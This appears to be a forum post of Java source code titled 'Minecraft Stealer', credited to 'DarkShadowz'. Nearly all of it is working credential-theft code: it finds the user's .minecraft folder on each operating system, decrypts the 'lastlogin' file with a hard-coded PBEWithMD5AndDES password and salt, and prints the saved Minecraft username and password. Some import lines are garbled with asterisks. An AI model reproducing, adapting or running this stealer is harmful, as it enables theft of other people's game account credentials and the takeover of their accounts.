[Java] Minecraft Stealer

import java****.DataInputStream;
import java****.File;
import java****.FileInputStream;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;

/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/

/**
*
* @Author DarkShadowz
*/
public class MinecraftAccountStealer //<editor-fold defaultstate="collapsed" desc="comment">
{
    //</editor-fold>

    public static File getMinecraftDir() {
  String os = System.getProperty("os.name", "").toLowerCase();
  String home = System.getProperty("user.home", ".");

  if (os.contains("win")) {
    String appdata = System.getenv("APPDATA");
    if (appdata != null) {
    return new File(appdata, ".minecraft");
    } else {
    return new File(home, ".minecraft");
    }
  } else if (os.contains("mac")) {
    return new File(home, "Library/Application Support/minecraft");
  } else {
    return new File(home, ".minecraft/");
  }
    }

    public static void main(String[] args) {
  try {
    Random random = new Random(43287234L);
    byte[] salt = new byte[8];
    random.nextBytes(salt);
    PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
    SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
    Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
    cipher.init(2, pbeKey, pbeParamSpec);
    File passFile = new File(getMinecraftDir(), "lastlogin");
    DataInputStream dis = null;
    if (cipher != null) {
    dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
    } else {
    dis = new DataInputStream(new FileInputStream(passFile));
    }
    System.out.println("Minecraft Account Stealer - By DarkShadowz");
    System.out.println("Username: " + dis.readUTF());
    System.out.println("Password: " + dis.readUTF());
    dis.close();
  } catch (Exception ex) {
  }
    }
}